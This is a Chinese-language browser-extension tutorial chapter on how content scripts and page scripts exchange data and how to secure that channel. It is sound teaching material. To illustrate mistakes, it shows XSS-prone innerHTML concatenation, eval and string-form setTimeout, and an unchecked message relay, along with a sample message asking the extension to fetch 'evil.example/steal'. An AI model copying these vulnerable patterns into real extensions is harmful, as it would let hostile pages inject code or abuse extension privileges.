首页 / 浏览器扩展开发入门教程 / 内容脚本与页面脚本交互

浏览器扩展开发入门教程

内容脚本与页面脚本交互

本教程共 56 篇 · 第 19 篇 · 更新于 2026-08-13 · 约 8 分钟阅读

内容脚本页面脚本postMessageDOM 操作隔离世界安全边界XSSMV3

本节目标:学完你能在内容脚本和页面脚本之间搭一条能用的通道,知道哪些数据交换方式行不通,也知道从页面收来的消息必须做哪些校验才敢往下传。

前面三章讲的都是”怎么进场”。这一章讲进场之后最容易出事的一块:和页面自己的脚本打交道。这里既有”想传值传不过去”的困惑,也有真正的安全风险——写法不当,你的扩展会成为攻击页面的跳板。

19-1 唯一的公共地带是 DOM

先把边界摆清楚。内容脚本和宿主页面的执行环境互相隔离,但它们共享同一个 DOM

官方的说法很直接:如果页面想跟内容脚本通信,或者想通过内容脚本跟扩展通信,它必须借道共享的 DOM。

这一句话推出了本章所有做法:能用的通道,都是建立在 DOM 上的。DOM 节点、DOM 事件、走在 DOM 层的 window.postMessage,都算;直接读写对方的变量,不算。

19-2 DOM 操作的正确姿势

内容脚本改页面,用的就是标准 DOM API,没有专属方言:

// 读
const title = document.querySelector('h1.article-title');
console.log(title?.textContent);

// 写
const badge = document.createElement('span');
badge.className = 'my-ext-badge';
badge.textContent = '已标记';
title?.appendChild(badge);

注意上面用的是 textContent 而不是 innerHTML。这个选择不是风格问题。看下面这种写法:

// 不要这样写
const name = new URLSearchParams(location.search).get('name');
box.innerHTML = '<b>你好,' + name + '</b>';

name 来自网址,是外部输入。用 innerHTML 拼接,等于把外部字符串当 HTML 解析,攻击者塞一段标签进去就能在页面上执行东西。安全的写法是建节点、填文本:

const strong = document.createElement('b');
strong.textContent = '你好,' + name;
box.replaceChildren(strong);

规则就一条:凡是不由你完全控制的字符串,都用 textContent 落地,不要走 HTML 解析。

19-3 挂在 window 上的对象为什么共享不了

新手最常见的一次挫败,是想用 window 当中转站:

// 内容脚本(隔离世界)
window.__myExtData = { token: 'abc' };
// 页面脚本
console.log(window.__myExtData); // undefined

页面读到的是 undefined。反过来也一样,页面挂在 window 上的东西,内容脚本也读不到。原因就是第 16 章讲的隔离:两个环境各有一份自己的全局视角,window 上的属性不共享。

不止全局变量。挂在 DOM 节点上的自定义属性也是各世界一份:

// 内容脚本给节点挂一个属性
document.getElementById('mybutton').person_name = 'Roberto';

页面脚本读同一个节点的 person_name,拿到的仍然是它自己写的那个值,两边互不覆盖。节点是同一个,但访问它的 JavaScript 包装各世界独立。

所以结论很干脆:默认配置下,“把对象挂在 window 上共享”这条路走不通。 想传数据,只能走下面两种。

19-4 用 DOM 属性传值:能用,但有限

最土的办法是拿一个 DOM 节点当邮箱,靠属性传字符串:

// 内容脚本写
const box = document.createElement('div');
box.id = 'my-ext-bridge';
box.dataset.payload = JSON.stringify({ ready: true });
document.documentElement.appendChild(box);
// 页面脚本读
const data = JSON.parse(document.getElementById('my-ext-bridge').dataset.payload);

这条路的限制要记牢:

  1. 只能传字符串。对象要 JSON.stringify 序列化,函数、DOM 引用、Map 这些传不过去。
  2. 完全公开。页面上任何脚本,包括第三方统计和广告脚本,都能读到、能改掉。
  3. 没有时序保证。对方不知道值什么时候写好,只能配合 DOM 事件通知。

因为第 2 条,这条通道绝对不能传敏感数据。用户 token、扩展内部凭据这类东西,一放进 DOM 就等于公开。

19-5 window.postMessage:标准做法

真正推荐的通道是 window.postMessage()。页面往自己身上发消息,内容脚本监听并检查,确认没问题再转给扩展。

页面这一侧:

document.getElementById("theButton").addEventListener("click", () => {
  window.postMessage(
      {type : "FROM_PAGE", text : "Hello from the webpage!"}, "*");
}, false);

内容脚本这一侧:

var port = chrome.runtime.connect();

window.addEventListener("message", (event) => {
  // We only accept messages from ourselves
  if (event.source !== window) {
    return;
  }

  if (event.data.type && (event.data.type === "FROM_PAGE")) {
    console.log("Content script received: " + event.data.text);
    port.postMessage(event.data.text);
  }
}, false);

这段官方示例里,每一行检查都有它的道理,逐条说:

  • event.source !== window 就返回。这一步挡掉来自 iframe、来自其他窗口的消息,只认本窗口自己发的。少了这一句,页面里任何一个 iframe 都能给你发指令。
  • 检查 event.data.type。别照单全收,只处理你约定好的消息类型。
  • 发送方那个 "*"targetOrigin。能写具体源就写具体源,比如 location.origin,范围越窄越好。
  • 接收方还可以再校验 event.origin,确认消息来自你预期的站点。

最关键的一点单独强调:在这条通道上,任何在这个页面里运行的脚本都能发消息,包括第三方广告脚本、被注入的恶意脚本。所以内容脚本收到的每一条消息,都必须当成不可信的外部输入来处理。

Note

反方向也能走:内容脚本 window.postMessage 出去,页面脚本监听。机制对称,检查同样要做。

19-6 别把页面消息直接转给 service worker

这是本章最重要的一条实践。典型链路是这样的:

页面脚本 → 内容脚本 → service worker

内容脚本站在中间,它的角色不是传声筒,而是安全闸门。service worker 手里有 chrome.storage、有跨域请求能力、有宿主权限,如果内容脚本原样透传页面的请求,等于把这些能力开放给了任意网页脚本。

反例长这样:

// 危险:页面说读哪个地址就读哪个地址
window.addEventListener('message', (event) => {
  chrome.runtime.sendMessage(event.data);
});

页面只要发一条 { action: 'fetch', url: 'https://evil.example/steal' },就借你的权限干了它自己干不了的事。正确的写法是白名单加校验:

const ALLOWED = new Set(['MARK_ARTICLE', 'GET_SETTINGS']);

window.addEventListener('message', (event) => {
  if (event.source !== window) return;

  const { type, articleId } = event.data || {};
  if (!ALLOWED.has(type)) return;

  // 只透传经过校验的字段,且类型必须对
  if (type === 'MARK_ARTICLE' && typeof articleId !== 'string') return;

  chrome.runtime.sendMessage({ type, articleId });
});

三条原则:消息类型走白名单、字段类型逐个校验、不让页面指定”要读哪个 URL""要写哪个存储键”这类由扩展决定的东西。

19-7 两种被禁止的写法

官方明确点名了两类危险写法,它们在 MV3 里是不允许的。

第一类是 eval 拼字符串:

const data = document.getElementById("json-data").textContent;
// WARNING! Might be evaluating an evil script!
const parsed = eval("(" + data + ")");

第二类是 setTimeout 的字符串形式:

const elmt_id = getSelectedId();
// WARNING! elmt_id might be '); ... evil script ... //'!
window.setTimeout("animate(" + elmt_id + ")", 200);

两者的问题是同一个:把从页面拿来的内容当代码执行了。换成不执行脚本的安全 API 就行。

解析 JSON 用 JSON.parse

const data = document.getElementById("json-data").textContent;
// JSON.parse does not evaluate the attacker's scripts.
const parsed = JSON.parse(data);

延时调用用闭包形式:

const elmt_id = getSelectedId();
// The closure form of setTimeout does not evaluate scripts.
window.setTimeout(() => animate(elmt_id), 200);
Tip

判断标准很简单:如果一段代码的作用是”把字符串变成可执行的东西”,那它就该被换掉。evalnew Function、字符串形式的 setTimeout / setInterval 都属于这类。

19-8 从外部取来的内容要过滤

隔离世界提供了一层保护,但它保护不了这种情况:内容脚本用 fetch() 从别的站点取回内容,然后直接塞进页面。

官方的提醒是两条:注入之前必须针对跨站脚本攻击做过滤;只走 HTTPS 通信,避免中间人攻击。

落到代码上就是——取回来的数据,能当纯文本用就用 textContent;确实需要富文本,就先做 HTML 清洗,别把远端返回的 HTML 直接交给 innerHTML

顺带提醒一个容易忽略的暴露面:第 16 章说过,声明成可从网页访问的资源,会同时暴露给同一站点上的第一方和第三方脚本。所以 web_accessible_resourcesmatches 要写窄,别顺手放开全站。

19-9 一份最小桥接骨架

把这一章的做法拼起来,主世界和隔离世界分工协作的骨架大致是这样。主世界那一小段只负责抓页面对象、往外抛数据:

// page-hook.js(world: MAIN)
window.postMessage(
  { type: 'PAGE_PLAYER_READY', duration: window.myPlayer?.duration ?? 0 },
  location.origin
);

隔离世界这一段负责校验、转发、以及所有需要扩展权限的事:

// main-logic.js(world: ISOLATED,默认)
window.addEventListener('message', (event) => {
  if (event.source !== window) return;
  if (event.origin !== location.origin) return;

  const { type, duration } = event.data || {};
  if (type !== 'PAGE_PLAYER_READY') return;
  if (typeof duration !== 'number') return;

  chrome.storage.local.set({ lastDuration: duration });
});

这个结构里,主世界暴露的面积压到了最小,所有权限相关的动作都留在隔离世界,而且每条跨界数据都过了检查。

19-10 小结

内容脚本和页面脚本之间只有 DOM 是共享的,window 上的属性、节点上的自定义属性都各世界一份,“挂 window 共享”走不通。想传数据,DOM 属性能用但只能传公开的字符串,标准做法是 window.postMessage,并且必须做 event.sourceevent.origin、消息类型和字段类型这几层检查。

安全上守住三条底线:不用 innerHTML 拼外部字符串;不用 eval 和字符串形式的定时器;不把页面消息原样转给 service worker。内容脚本是扩展权限和不可信网页之间的那道闸门,闸门松了,整个扩展就成了跳板。

模块四到这里结束。下一个模块讲消息通信——内容脚本、service worker、popup 之间那套 sendMessageconnect 机制,这一章反复提到的”转给 service worker”就是从那里展开的。